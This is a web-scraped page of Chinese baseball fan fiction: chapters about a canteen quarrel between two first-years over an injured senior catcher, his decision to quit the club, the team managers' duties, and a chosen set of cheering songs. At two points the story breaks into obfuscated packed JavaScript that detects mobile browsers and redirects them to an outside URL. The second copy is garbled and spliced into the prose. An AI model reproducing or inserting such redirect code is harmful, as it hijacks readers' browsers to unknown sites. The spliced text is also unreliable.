看着对方打者在预判失误里挥棒落空,不动声色将局势玩弄于股掌的感觉,远比站在投手丘的万众瞩目更让他着迷。 但千叶么……跑那么快、守备很有技巧、盗垒也很会抓时机……虽然他的打击看起来很生疏,但其他的技巧没有长期的守备训练,绝对达不到现在的水平。 一个投手,曾经做过长时间的守备训练吗?有意思。这家伙才是从野手转去的投手吧?因为肩膀很强传回来的球很准什么的。 御幸想到这里,忽然勾着唇角笑起来,他看着千叶,语气说不清的意味深长:“你害怕我做投手抢了你的位置?” “你高看自己了。”千叶啪地一声放下筷子,抱胸靠向椅背,声音淡定满是不屑:“你以为你是jump的全能天才少年吗?想做投手,马上就能速球变化球通通精通?就算你现在放弃捕手改做投手,也抢不走我的位置。” “欸?可是jump男主不是都走热血成长路线吗……”前园在旁边悄悄跟小野插嘴。 小野:“……”就不要在这个时候追求自己有什么戏份了,前园。 对线中的御幸和千叶显然没有在意前园,千叶还是不屑地看着御幸,而御幸…… “真的假的?”御幸露出一个欠揍笑容。 他身子微倾,手肘撑在桌上凑近千叶,话却字字戳心,“要是你不怕,那担心我跟你抢克里斯前辈是做什么?连你跟克里斯前辈说的话都不敢告诉我,分明就是怕了。” “少激将我!”千叶猛地抬眼,掌心重重拍在桌沿上,腾地站起身,椅腿刮过地面发出刺耳的吱呀声,“御幸你要是不做投手,干嘛追着克里斯前辈不放!都说了不告诉你,你是猫吗?好奇心那么重!” 千叶一巴掌拍下去,就知道自己力气使大了。那一瞬间,不仅他手掌痛得要死,整张桌子都狠狠晃了晃,不过他千叶是个要面子的人,还是硬着头皮向御幸放完了狠话。 桌上四碗热汤不约而同地“咣当”一声,上下一颠,里面的味增汤撞着碗沿就开始打转,汤汁晃到碗边,眼看着就要溢出来。前园手忙脚乱地护住自己的汤碗,指尖还是沾到溅出来的热汤,脸上写满了“我是谁我在哪”的茫然。 小野也抬起头看千叶。 周遭的喧闹像是被按了暂停键。 碗筷相碰的轻响、低声的交谈声、吞咽的声音……所有的声音都瞬间消失听不见了。二三年级的前辈们放下了手里的餐具,一年级的同期们悄悄闭了嘴,不管是离得近还是隔了几张桌子,所有人的目光都像探照灯一样投过来。 千叶:“……” “一年级,这里是食堂,不是你们吵架的地方!”身后不知道哪个前辈大声批评道。 “抱歉!”千叶语气生硬地道歉后,重新坐回到了椅子上,一言不发。 “咳咳,那两个人搞什么?”离得稍远的仓持因为刚刚千叶拍桌子的巨响呛了一下,皱紧眉头赶紧转头,视线越过攒动的人头,看向千叶和御幸。 他对面的川上微微蹙着眉,指尖捏着勺子,脸上写满担心,白州依旧是那副平静的模样,不过目光也落在那两人身上。 原本就不算好的氛围,因为千叶拍桌子的那声巨响更是急转直下。 千叶还在跟御幸对峙。御幸嘴角噙着笑地看着他,眼神却没什么笑意。 距离千叶不远的二年级的桌子上,几个男生也在这时侧过脸。 “丹波,好像是你们寝室的学弟。他跟另一个一年级吵起来了哦。”小凑笑眯眯道,“果然都是年轻人呢,一大清早的还真是有活力,训练得少了吧。” 丹波放下手里的味增汤碗,没有说话。 “好像是因为克里斯。”一直安静的结成转回头看向周围的同伴,眼眸里带着点不易察觉的困惑,“克里斯去哪了?” “唔嘎——”增子往嘴里塞满米饭,含混道,“今天早上早训完就看到他和东前辈一起走了,早饭都没吃。” “喂,增子少吃点。前几天记录的时候你体重又涨了,长谷川学姐特意跟你说过的。”伊佐敷走过来,把餐盘放在增子的旁边,又回头看向吵闹的方向,“那边那两个一年级怎么回事?在食堂里吵架,太不像话了!” “没关系,已经有人要给他们一个教训了。”小凑手托起下巴,一副准备看好戏的样子,在看到从门口进来的人时,他忽然又顿住了。 空气一时沉默的前园的桌子旁边,有人敲了敲他们的桌子。 桌子上的四个人同时抬头,是一军的小泉前辈。 他面色严肃而平静地看着他们,刚想说着什么,余光瞥见门口,看到克里斯和东清国走了过来。 “啊,克里斯正好你来了,”小泉皱眉,抱胸顺手伸出一根手指指着千叶跟御幸,“他们两个在说你的事。” 千叶和御幸几乎同时转头看向门口,看到了平静的克里斯前辈和难看的东前辈。 他们两个也在看他们。 克里斯前辈眉眼间没什么波澜,东前辈脸色却沉得厉害,眉头拧成了疙瘩,原本难看的脸此刻简直难看到吓哭小孩子,周身的低气压也几乎要溢出来。 刚才还嚣张的千叶,瞬间收了声,老老实实地看着不远处的前辈,御幸也收起了挑衅的神色,侧过头不看千叶,也不看克里斯前辈。 克里斯目光在千叶和御幸脸上扫了一圈,对他们说:“你们两个跟我来。” …… 三人的身影刚走出食堂,原本安静的空间瞬间恢复了热闹,只是多了些压低了的窃窃私语。 前园戳了戳小野的胳膊,压低声音问:“御幸跟克里斯前辈有什么关系吗?” 小野看着自己面前得以幸存的味增汤,心中松了口气。 他扒了口饭,听到前园的询问眉头微蹙道:“御幸好像说过,他很尊敬克里斯前辈。” “说的不是这个,跟这没关系。”前园摆了摆手,“御幸还说过他想超过克里斯前辈呢。我是问,御幸他以前认识克里斯前辈吗?不然……追着千叶问他跟前辈谈话的内容也太失礼了吧。而且抢克里斯前辈什么的……咦~”前园哆嗦了两下,龇牙咧嘴地摸了摸自己的胳膊,“他们投手和捕手也太肉麻了!” 小野低下头,心中叹气。今天顿吵架,绝不仅仅是因为“抢前辈”那么简单啊。 千叶对御幸的态度,似乎不服气里带着点防备,御而幸对千叶,也像是刻意的试探。他们两个与其说是吵架……更像各怀心思,却只能用吵架的方式摆出来。 “应该是中学比赛时见过吧,听说克里斯前辈中学的时候就很有名气了。”小野轻声道,“不过我觉得,他们两个吵架,不全是因为克里斯前辈。” …… 食堂外,克里斯前辈站在御幸和千叶面前,看着他们两个相互瞪着彼此。 “说说吧,你们两个为什么吵架?”克里斯问。 千叶抢先一步回答:“御幸非要问我们昨天晚上说的什么,我不想告诉他。” 克里斯前辈的头转向御幸:“那你呢,御幸,你有什么想说的?” 御幸撅着嘴:“就是他说的那样。” 克里斯对御幸道:“昨天晚上我不是已经说得很清楚了吗?” “我不明白……”御幸严肃起来,“前辈,你才是一军的正捕,虽然我很想与你竞争,也对自己的实力有自信,但现在我没有进入一军,所以为什么要让我引导千叶和丹波前辈,引导一军的投手丘的人,这一件事不应该由你来做吗?” “同样的话,我对宫内和槡原也说过。”克里斯道。 “……”御幸没说话只是倔强地看着克里斯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103738|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>千叶抬头看着他们两个人,在他的视角看来这两个人完全是忽视了他在互相打哑迷。 御幸不是说,克里斯前辈告诉他在他养伤期间好好接我的球吗?原来还有这么多其他的事? 感情你们俩也有悄悄话啊?那御幸追着我问什么啊。话说,这也太不公平了吧,御幸你也没把你跟克里斯前辈的悄悄话告诉我呀,凭什么还要我告诉你。 千叶瞪着御幸。 “……”刚才还惹千叶惹得欢快的御幸,此刻忽然不想说话了,看到千叶不知为什么瞪他,他也不愿想他到底是什么意思,直接不客气地瞪回去。 “……”见到这一幕的克里斯心中叹气,他对御幸道,“御幸,我希望你能跟近藤前辈、跟宫内他们一起,好好引导投手丘的投手们。不是让你跟千叶吵架的。” “我们两个没有吵架。”御幸说。 千叶在旁边插嘴,“我们只是发生了点小口角。” “……”克里斯沉默了一下,“千叶,吵架和发生口角是一个意思,好好学习一下国文吧。” “哦。”千叶被噎了一下,乖乖闭了嘴,悄悄又瞪了御幸一眼。 御幸:“……” 你国文不好关我什么事啊喂!瞪我干嘛? 御幸决定不理这个幼稚鬼。 克里斯的目光刚想转开,见状又落回千叶身上,问道:“千叶,你对御幸,有什么意见吗?” “没有。”千叶脱口而出答得飞快,只是眼神微微闪躲。 克里斯:“……” 克里斯假装没看见继续往下说:“既然你没有意见就不要总找御幸的麻烦。”克里斯的视线在两人身上转了一圈,忽然道,“或许,这是你们两个表达关系好的方式?” “才不是啊!”两人异口同声地不爽道。 克里斯前辈看着他们两个,忍不住微笑。 他轻轻叹了口气,像做了某种决定,目光落在御幸身上,缓缓开口:“御幸,如果你好奇昨天晚上我跟千叶说的话,我现在就可以告诉你。” 他顿了顿,看着御幸瞬间绷紧的神情,一字一句道:“我的胳膊受伤了,伤得比想象中严重。之前我一直很纠结,因为接受治疗的话,就没办法参加接下来的训练和比赛……所以,我决定退部。今早我已经跟监督和东前辈说过了,现在,只需要等监督的回复。” “等等,克里斯前辈!”千叶睁大眼睛打断他,声音难以置信的颤抖,“昨天晚上,你没告诉我你会退部……为什么……” 千叶看向身旁的御幸,对方也是一脸怔愣,不管是严肃还是贱兮兮的挑衅,所有的情绪都不见了,他的表情奇怪得很平静,似乎是预料之中,但又不可置信。 千叶又转头看向克里斯,心里忽然涌上一大堆委屈。 他就是为了克里斯前辈才来青道的,结果来了第一天就被监督罚跑,还要认队友,晚上睡觉前都要背名字,影响睡眠质量;为了让克里斯前辈接球,他每天都很努力的练球,做很多不喜欢还很累的训练……结果克里斯前辈没接他几个球就要去治疗。没关系,他可以等,大不了就是一年没有帅气的捕手给他接球嘛!以前没有帅捕手给他接球的日子,他也这么过来了。克里斯前辈还能回来就是一个希望,他会努力练习。 可是现在克里斯前辈居然要退队。 如果克里斯前辈退队了,那以后岂不是只能近藤前辈,宫内前辈,还有小野、御幸给他接球了吗?近藤前辈接球那么差,宫内前辈长得不好看,小野实力不行,御幸性格还很坏…… 这个球队里面没有他的捕手了啊。 千叶感觉自己像狗血韩剧的女主角被渣男欺骗了感情。 他红着眼睛看着克里斯前辈质问道:“你跟我说,要跟我一起去甲子园的,都是骗我的吗?” “千叶。”克里斯的声音放柔了些,伸手轻轻拍了拍他的肩膀,“青道是一个竞争很激烈的地方。这样一个队伍里面一年的空白期意味着什么你应该明白。不可能一直有一个位置,等着一个无法上场的捕手。” 他顿了顿,看着千叶泛红的眼眶,又补充道:“不过你放心,我们两个的约定还是有效的。等我的伤好了,我会重新回来。” 33.经理们 菅田很早就发现了自己寝室的学弟的种种习惯。 比如每天晚上上床之前总是拿着自己的日记本嘴里念念有词,比如每天早睡晚起,第二天睡眼朦胧下床,不知道面前是谁,闭着眼睛就说早安,每天起床后还要花十几分钟时间给自己捯饬一下发型,最后火急火燎跑去集合晨训…… 但是今天,很奇怪,千叶不仅起得早了,还没有捯饬自己,幽魂一般顶着鸟窝头,还第一个走出寝室洗漱,然后去集合了。 “他这是怎么了?”眼看千叶在他面前关上寝室门,菅田震惊中带着不可置信,“这还是千叶吗?还是被夺舍了?” “……想象力丰富了,菅田前辈。”丹波忍不住吐槽,又在菅田旁边小声说道,“好像是因为昨天国文随堂测试他考得特别差,他心情不好。” 菅田:“……” 菅田扒拉开丹波,愤怒地拍拍自己耳朵:“我心情还不好呢!需要这么小声吗?你就这么怕他吗?他都走了!” “不是怕,”丹波说,“千叶他们班里国文老师是片冈监督,考试考得很差太可怜了。” 菅田:“……”虽说片冈监督是国文老师考的还很差,千叶的确非常可怜,但是他对于丹波十分惯着寝室里的一年级,表示非常不高兴。 在去年他们寝室三年级的学长还没毕业时,总是很疼丹波。丹波胆子小容易害羞,他就带着丹波洗漱找食堂,闲着没事还开导他……他那时就得扮演欺负丹波的坏角色,他已经三年级了,现在居然还要做恶人吗? 我们青道的传统不是隔辈亲吗?东那个傻蛋惯孩子也就算了,丹波你一个二年级跟着凑什么热闹,他可是要跟你抢投手丘的后辈!谁会对竞争对手掏心掏肺啊!而且那么惯孩子的话,孩子怎么会成长啊!—— 大概就是这样。 菅田这种不高兴一直持续到进了教室,看到了面无表情坐在他的座位上翻看训练记录的长谷川麻衣。 长谷川麻衣,棒球队的三年级经理学姐,长得很漂亮。可惜,菅田一点也没有美女找上门的开心,看到长谷川冷漠的表情,只有害怕自己遭殃的小心翼翼。 “菅田。”果然,一见到他,长谷川站了起来,淡淡地开口,“你最近的打击数据跟你的英语作业一样,分数飞流直下,你最近是管闲事管得太多没时间练打击了么?如果不是,就赶紧把你那难看的成绩提上来,再差下去说不定就要跟上林一样滚去二军了。” “是,麻衣大人。”菅田放下包低头低声道。 长谷川:“……” 长谷川翻了个白眼,把训练记录留给他离开了。 菅田看了一眼自己的同桌,他的同桌也一言不发地看着菅田。 “你……她当着你的面说你坏话,你都不反抗吗?”菅田问。 “她说的是你。”上林淡声道,“再说你不也没反抗吗?你敢反抗吗?” 菅田与上林对视,两人同时沉默了。 长谷川麻衣是棒球迷。可惜她国中时一直没有长高,力气也很小,不管怎么训练,她身体条件都打不了正经棒球,所以她从那时开始就作为球队经理,一直陪伴着选手们训练。这个“选手们”其中就有菅田和上林。 菅田和上林国中上的是同一个学校,那所学校棒球队很厉害,监督也凶,球队的培养更是严格。从球员到球队经理,球队里的每个人都非常积极向上,而长谷川,她就是里面最厉害、最努力的一个。 菅田和上林在在国中一二年级是小透明,那时候,长谷川总是鼓励他们,三年级变成正选后,长谷川反而变了,她不仅不再鼓励他们,还一看他们退步就无情如寒雨一般地批评。 虽然有点想说一句,‘你是谁啊凭什么来管我们’,但国中的时候麻衣就是他们的衣食父母,从作业考试到训练计划、从吃饭营养到应援助威……没有一个不需要长谷川,而她,长谷川麻衣,还去学了空手道(最后一句画重点)。 后来他们三个一起升了学,他跟上林来到了青道,没想到长谷川居然也来到了这所学校…… “我们还要被那个女人压迫多久啊!”菅田转身对上林道,“我们干脆反抗她吧!” “怎么反抗?摆烂吗?要摆烂你就从一军滚下来算了,我可是很想回一军。我没兴趣陪你演这些引起女神注意的小把戏。”上林冷漠地对菅田摆摆手,转头就不再看他,也不跟他说话了。 菅田:“……” “长谷川麻衣算哪门子女神啊喂!她明明是魔王啊!!还有,你怎么对我这么冷漠!我们可是幼驯染啊!” …… 花开两朵,各表一枝。 与此同时,一年级的千叶一郎,除了痛苦于今天下午要上片冈监督的国文课,他又发现了第二件令他感到不安的事情。 千叶看着班级墙上新鲜出炉的值日安排,陷入了沉思。 他找到了班里的卫生委员问:“为什么我这个周被安排了两次值日?” 他不会是被班里同学霸凌了吧? 千叶不安地想。他没干什么令人不满的事吧? “欸?千叶同学你认识我吗?”被找到头上的短发女生十分惊讶,“看咱班的女同学对你打招呼,你都一脸冷漠地走开,我还以为你都不认识我们呢。” 千叶:“……” 说实话,千叶觉得自己有点尴尬。甚至想就这么被安排两天值日也挺好的。 记得棒球队里难看的同学的名字就已经费了他很大心力了,他实在没有心情在班里认识更多的人,尤其是他班里除了御幸,不管是男同学还是女同学都颜值平平,没有能打八分的帅哥美女。这就罢了,过分的是有几个男生丑得奇形怪状、五官歪七扭八,明明不是不需要见人的深海鱼类,还让自己自由地长成了让人多看一眼就会觉得世界末日的模样。这样的同学,怎么会有让人认识的欲望啊。 而且女同学跟他打招呼什么的,他是真的没有注意到啊。真的有人跟他打过招呼吗? 走在路上,被一句话都没有说过、只是眼熟的人打招呼,在这个国家是一件很正常的事情嘛?欸,如果是的话那就完蛋了,他只跟前辈或者认识的人打招呼来着。话说,经常忽略了打招呼的人会不会变得名声很差? 我本来就已经很声名狼藉了啊!千叶痛苦。 千叶结结巴巴地解释:“我真的是不小心的!” 面前的女生一副“我懂我懂”的表情,敷衍地点头:“你们帅哥总是喜欢装酷让自己显得高冷点嘛。” 千叶:“……” 天地良心,我真的没有。 还有,谢谢你,你夸我帅我很开心,但你这讲显得我人真的好坏。 不过,这样的话,一周被安排两次值日就不是被欺负了? “你知道我叫什么名字吗?”女生托腮坏笑着问千叶。 千叶谨慎道:“夏川唯,夏川同学。” 他的确记得夏川同学,也记得她是卫生委员,不仅因为夏川同学长得不错,还因为她是棒球队经理,如果为球队服务、帮助球员的经理都不记得的话,片冈监督知道了一定会让他毕业都投不了球的吧…… “bingo答对了,不过没有奖励。”夏川微笑,“你这个周的值日被安排了两天,是因为周五上午大扫除的时候你们去参加红白赛了,所以为了公平,你们这些没参加班级大扫除的小同学们都需要多做一天值日哦。” “好的。”千叶有点不好意思地回应。 没有被霸凌要多干活,很好很好。 “嗯嗯。”夏川点头,又一拍脑门,“对了,说到没参加班级大扫除,我们的吹奏部最近也开始排练了,你不是刚进一军嘛,长谷川学姐让我提醒你,近期可能有学姐来找你商量应援曲目的事,如果你有什么想法的话要提前告诉吹奏部,否则他们来不及排练,关东大会只能用吹奏部的曲子了。” “真的有人自己提议自己的应援曲吗……”千叶汗颜。总觉得这没怎么有必要,人太闲了一点。 “对啊,有很多人都很在意自己的应援曲的。” “我没有想法,吹奏部的曲子肯定都很好听。”千叶费劲的动用他那不多的情商恭维了一句,转身就要离开。 忽然他又想起来了一件事。 “夏川同学,你能帮我两个忙吗?”千叶转过头笑道。 “欸?”夏川歪头。 …… “所以你想让我帮的忙就是这个?”夏川拿起了千叶的棒球日记翻了翻,脸蛋皱起来,“片冈监督不是让你记下来队友的名字吗?我的也需要吗?” “是啊是 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“夏川,你们经理一般都需要要做什么呢?”千叶拿起笔问道。 没想到千叶问出这个问题的夏川愣了一下,随即又微笑:“那可就多了……” 千叶知道棒球经理每天需要做的事情很多,但是从来没想到她们居然要做这么多事情—— 每天都要提前布置训练场地,准备球、备用的棒和手套,摆放锥桶、饮水和其他物资,训练后还要清点收纳;队员练习过程中,不仅每天都要协助教练记录球员训练数据包括投球速度、打击率、跑垒时间等等,还要定期整理训练计划和反馈。 其他球队来青道打练习赛,赛前需要检查场地器材,准备替补装备等等日常训练需要做的事情;赛中要记录比赛数据,比如投球数、安打、失误,配合教练传递战术;还需要做好便当,感谢千里迢迢过来打比赛的对面学校;等比赛结束,队员都去拉伸休息的时候,她们还要整理器材、清理场地,统计汇总全场数据。 除此之外,对接学校社团,处理球队报名、审批、经费申领等行政事宜,需要经理帮助。 统筹球队物资采购,打击手套、护具、耗材等的清洗管理,做经费记账,需要经理帮助。 协调球员出勤,提醒训练比赛时间,维护球队日常沟通,需要经理帮助。 还有球队的宣传工作、球队的战术布置,比如运营球队社交账号、制作赛事海报,再比如拍摄对手学校的比赛素材…… 听起来麻烦的要死、听听就叫人头大的事情,都需要经理来做。 “上不场比赛的人,辛苦就不会被人看到,这样也没关系吗。”千叶问。 “你在说什么啊,我们也是球队的一员啊!你们队员的努力跟我们经理的能力是一样的!又不是别人看得见的努力才有意义!如果你们能够顺利打进甲子园,就能证明我们的努力都是有意义的,我们是一个团队的人!”夏川握起拳头,又思考道,“不过这么一说,好像给你们的压力很大的样子。” “压力什么的倒还好,但你们真的很辛苦啊。”千叶道。 千叶是真的觉得压力还好,也是真的感慨的同时又有点感动。 感慨他能够理解,但是感动……千叶摸摸自己的胸膛。 不知道感动是从哪冒出来的。 或许他就是这样一个,别人为他付出他就会感到幸福的好人? 不,很可惜我肯定不是。 我是看到别人辛苦心里会庆幸“幸好不是我这么辛苦”的坏蛋。 可是,为什么我还会因为别人的付出而感动呢? 明明我也很辛苦啊!千叶想。 夏川不好意思道:“我现在还是新人啦,做起来总是做不好,很多时候都是手忙脚乱的,上面的大部分事情都是长谷川前辈和藤原前辈来做。”又看向千叶,露出明媚的微笑,“不过我会努力做一个合格、不,是优秀的经理的。千叶你也会努力做一个能带领球队的投手吧?” 千叶听到她如此问道。 “……嗯,我会的。”千叶回答。 “那我们一起加油吧!” “好。加油!”千叶握拳,跟夏川比出了同样的“加油”的手势。 34.应援曲 今天是周二。 吃过午饭准备上课的仓持回到教室。 千叶无精打采的趴在桌子上。 这怎么了?上午不是还跟夏川同学聊天聊的很开心吗?坚持坏笑着一手刀劈到千叶的后脖颈上。 趴在桌子上的千叶不耐烦的挥开仓持的手。 开心?一会儿要上国文科了你开心得起来吗?说完脑袋就又枕在胳膊上的脑袋侧过去,有气无力地趴在桌子上。 仓持看看到他胳膊底下压着的上一次随堂测试的卷子,还有上面非常显眼通红红的23分。 仓持嚣张嘲笑:“一次小小的测试是就把你给打击到了?” “你考多少分?” 仓持十分不屑地翻出了自己的卷子给千叶看上面的分数——32分。 “本大爷及格了!”仓持手指曲起弹弹自己的试卷,叉着腰哈哈大笑。 千叶:“可是片冈老师说,这次的试卷比较简单,40分以上才不用罚抄。” “……真的假的?”仓持的笑容僵住了。 “你说呢?” 仓持也很难过地趴在桌子上。 于是,不一会儿从门口走进来的御幸,就看到两个趴在桌子上僵硬如同死尸、苍白如同纸片的人。 “你们两个这是……什么情况?” 御幸围着他们转了一圈,发现了俩人胳膊下面压着的卷子。 御幸坏笑:“因为上次随堂测试考得太差了吗?” “难道你考得就很好吗?”仓持怒骂。 “40分,刚刚过线。”御幸一摊手,表情很得意。 仓持站起来踢御幸的屁股:“幸运儿不准炫耀啊!可恶!” “运气好好啊,好羡慕。”千叶胳膊支起头拖长语调。 御幸摆摆手谦虚起来:“别羡慕了,马上上课了。” “……”仓持夹在两人中间,看看这个,又看看那个,问,“你们两个和好了?” “什么?”御幸故作疑惑地眨眨眼。 “我们什么时候吵过架?”千叶故作茫然看向御幸,“我们有吵过架吗?” “我记得好像没有诶。仓持你是不是昨天晚上做梦了?”御幸转头看向仓持惊讶道。 仓持:“……” 下午,国文课。 千叶听得分外精神,没有打瞌睡。 千叶不知道片冈监督对他的表现满不满意,反正他下了课又把他提去了他的办公室。 千叶:“……” 天!怎么回事!我明明没有上课睡觉啊! 千叶非常紧张地跟在片冈监督后面去了办公室。 不会是因为我小测太差,所以监督要单独批评我吧!我也不想考成那个样子啊,再说了仓持考得也很低啊,无论是23分还是32分都非常丢人啊,为什么仓持不用来办公室。 把千叶叫到办公室的片冈监督沉默许久,却只是说了这样一句话:“千叶,克里斯的事情,多谢你了。” “欸?”千叶有点懵了。不是因为考试吗? 片冈监督语气比平日温和了许多:“你注意到了克里斯受伤,并且说服他休息,你帮了克里斯,也帮了整个青道。” “……可是我只是做了所有人都会做的事情,”千叶低下头。 他像忽然反射弧终于回到了大脑,智商上线觉得心中一阵惶恐,不是因为不好意思,而是因为近乎愧疚地惶恐。 他不知道为什么。 “任何人发现克里斯前辈的伤都会像我这样做吧。”千叶低声道。 片冈监督微微颔首:“克里斯的肩伤积了很久,他一直在硬扛,今天检查结果出来了,没到最坏情况,肌肉已经轻微撕裂,但好在没有严重到需要手术的地步,好好修养,不会影响运动生涯。”他看着千叶说,“这是克里斯特别让我转告你的。” 千叶猛地抬头。 “他总觉得身为二年级的代表必须撑到最后,而我作为监督也太过急功近利,没有注意到队员的身体状况,这是我的失职。”片冈顿了顿,视线转向窗外的天空,无边的蓝天下,鸟儿成群结队地飞过,“你能注意到跟你一起训练的捕手的状态,这种连监督、队长都没有注意到的细节,说明你心里装着队友。这比任何东西都重要。” 片冈监督从抽屉里拿出一本新的笔记本递给他:“你的作业完成了,以后不用强制性每天记录队友的习惯,你可以像其他人一样交棒球心得了。” “……是。”千叶接过那本笔记本,脸颊有些发烫。 为什么被夸了,还不用写作业了,我却一点都不高兴呢。 千叶想。 从片冈监督的办公室出来之后,千叶低头往班里走,走到一年级教学楼的道口时,一阵细微的骚动忽然吸引了他的注意。千叶下意识抬眼,看到不远处站着一个高年级的学姐,她穿着熨烫得笔挺的校服裙,拿着一张白纸站在一年级过道口,出众的外貌气质引起了周围一片人的注视。 这个学姐的发型妆容都很精致,一看就是严于律己,对自己在外形象十分看中且有毅力坚持美丽的美女,在青道这个让他受伤颇深的学校特别难得。 心事重重的千叶,敬佩且欣赏地多她看一眼,然后把视线收回来。 然而下一秒,他却听到了这个美女叫他的名字:“千叶同学?请问是千叶同学吗?” “……叫我吗?”千叶抬头,茫然指指自己。 “对,你棒球队一军的千叶一郎吧。”美女微笑着递给他一张纸,“我是吹奏部的人,来给你送应援曲目,你们经理应该跟你讲过吧?” “这么快嘛?昨天我们经理才跟我说过……”千叶惊讶的接过学姐递过来的那张纸。 “还是尽早定下来比较好。”学姐眉眼弯起来,“你们接下来比赛越来越密集,我们也得提前排练,才能在赛场上给你们最好的应援嘛。” “好的,谢谢前辈。”千叶连忙点头,然后目送学姐转身离开。 千叶回到教室,刚一踏进教室门,两道身影就“嗖——”地一下冲过来。 千叶吓得下意识往后退了一步。 “干、干嘛。”千叶震惊地抱住自己,“你们要做什么!” 夏川向千叶伸手:“我们在窗户边都看到了!吹奏部的美女学姐专门来找你,还给你送了东西!是不是应援曲啊?快给我看看!” 仓持也凑了过来,双手抱胸,脸上的坏笑十分欠揍:“听说吹奏部会根据每个人的性格和打球风格选应援曲,啊哈哈哈哈哈!要是被吹奏部知道你小测考二十几分,不会给你定什么《笨蛋之歌》吧?” “《笨蛋之歌》是什么鬼?你觉得你一个32分的就很聪明吗?再说我都不认识吹奏部的人啊,他们也不认识我,这还能按性格选?”千叶撇嘴,有点不相信地把手里的纸递给他们。 夏川和仓持马上凑到旁边,两个脑袋挤在一起看。空气安静了两秒,紧接着,夏川和仓持就像被点了笑穴,捂着肚子蹲在地上狂笑不止。 “哈哈哈哈哈哈千叶!这、这是什么啊!” 两人的笑声实在太过响亮,引得教室里不少同学纷纷侧目,连坐在不远处座位上低头翻看棒球杂志的御幸也被惊动了。御幸挑眉,合上书慢悠悠地站起身,迈着长腿朝这边走了过来,脸上还带着看热闹的笑意。 千叶见状心道不好,赶紧从他们两个手里把纸抢过来。 “怎么了?”走到千叶旁边的御幸问道。 千叶皱眉,拿着曲目表的手往回缩了缩:“吹奏部学姐刚送的应援曲目,他俩看了一眼就笑成那样,谁知道怎么回事。” 御幸一挑眉:“看看不就知道了?” 说着就伸手要够千叶手里的纸,千叶哪能让他轻易拿到,赶紧往后撤,可御幸的动作比他快,指尖已经碰到了纸,千叶又不想跟他抢,显得怪没品他还害怕把纸扯烂了,无奈之下,只好跟御幸凑到一起看纸上的内容—— “残酷な天使のテーゼ (残酷天使的行动纲领——eva) 苏る巨人 (复苏的巨人——迪迦奥特曼) パイレーツ?ブ?カリビアン (加勒比海盗——加勒比海盗)……哈?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121890|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >御幸愣了一下,没忍住“噗”地一声笑了出来:“千叶,吹奏部的前辈们,对你的认知还挺特别的呢。” 千叶举着手里那张纸不可置信:“难不成在前辈们眼里,我是热血中二病吗?怎么不是动画片就是迪x尼大电影!这都不是甲子园常用曲目吧!” 仓持勉强制住笑:“话说,你不是从小在美国长大吗?为什么也知道这几首歌啊。” 千叶气得跳脚:“就算是在美国长大,也不可能不知道迪士尼奥特曼和eva高达吧!美国又不是深山老林!我家通网了!” 夏川佯装一本正经:“这三首都很有气势啊!其实我们的吹奏部品味很不错的对吧?” 千叶更气了:“你们别自说自话好不好!” 御幸侧头问:“所以你选哪个?” “……哪个都不想选啊!” …… 下午集训前集合。 小泉次郎没有看到克里斯。 在准备练习打击的人群里左右看了一圈,也没找到。 “今天克里斯还不来吗?事情还没有处理好吗?”小泉次郎走最近的正在穿捕手护具的近藤问道。 他今天想练球,不想给东清国喂球,但没有人接捕,近藤已经跟丹波约好想接丹波的球练练接球。 “克里斯是昨天就请假了吧。”近藤放下手里的要带上的捕手头盔,皱眉道。 “东说克里斯家里有事。”小泉说。 这时,近藤余光看见东清国从他旁边鬼鬼祟祟地经过。 “东,你昨天跟克里斯一起去找的监督,出什么事了?”近藤大声喊住他。 “……”东清国身形有点僵硬,一脸纠结地转过身。 小泉跟近藤对视一眼。 东,是一个非常不会替人保守秘密、什么事都写到脸上的人——这样的表情,一看就是有事。 小泉跟近藤围过去。 质问:“到底怎么回事?” 东抱着球棒沉默半天,十分苦恼的抓了抓自己的寸头,最后小声说:“我跟你们两个说,你们俩嘴可严一点。” “嗯,你说吧。” 东为难地在他们两个耳边耳语几句。 ——“克里斯要退部?”小泉震惊道。 旁边的同伴听到声音转过头,一脸疑惑地看向他们三个。 “嘘嘘!小点声。”东赶紧拉住小泉。 “这是什么时候的事?”近藤严肃地问。 “就是昨天早上。克里斯叫我跟他一起去找监督,然后就忽然说自己受伤了,要退部。我当时都懵了!”东更加苦恼了,“监督没同意克里斯退部,只是打电话给克里斯的家长,让克里斯先去医院看一下到底伤的怎么样,严不严重。” “嗯哼,所以呢?后续是什么?”近藤抱胸思考着问,“克里斯的情况怎么样?伤得严不严重?” “不知道。”东摇头,“我当时在监督办公室门外,光听到克里斯的爸爸来了以后很生气,对监督发了好大一顿火,说了一些学校和教练不作为让学生受伤……之类的话,然后克里斯好像又说了什么,办公室里声音又低下去了,我就听不清楚了。反应我没搞清楚什么情况,就看到克里斯爸爸带克里斯走了。” 小泉:“……真是难为你把这么大的事情憋这么长时间了。” “对啊!我快憋死了,你知道有秘密不能跟别人说多难受嘛!”东很委屈,“我以为昨天晚上监督就会开会讲克里斯到底是什么情况的,结果监督也没讲,克里斯从昨天晚上就没有回寝室,今天上午也没来上学,我真憋不住了!” “我觉得千叶说不定知道内情。”近藤道,“昨天早上他不就跟二军那个一年级捕手因为克里斯吵架吗?” “是一回事吗?”小泉皱眉,“东把这件事告诉我们就已经算是出格,不要让这件事更复杂了,监督他们肯定有自己的考量。” “……”几人一时都有些沉默。 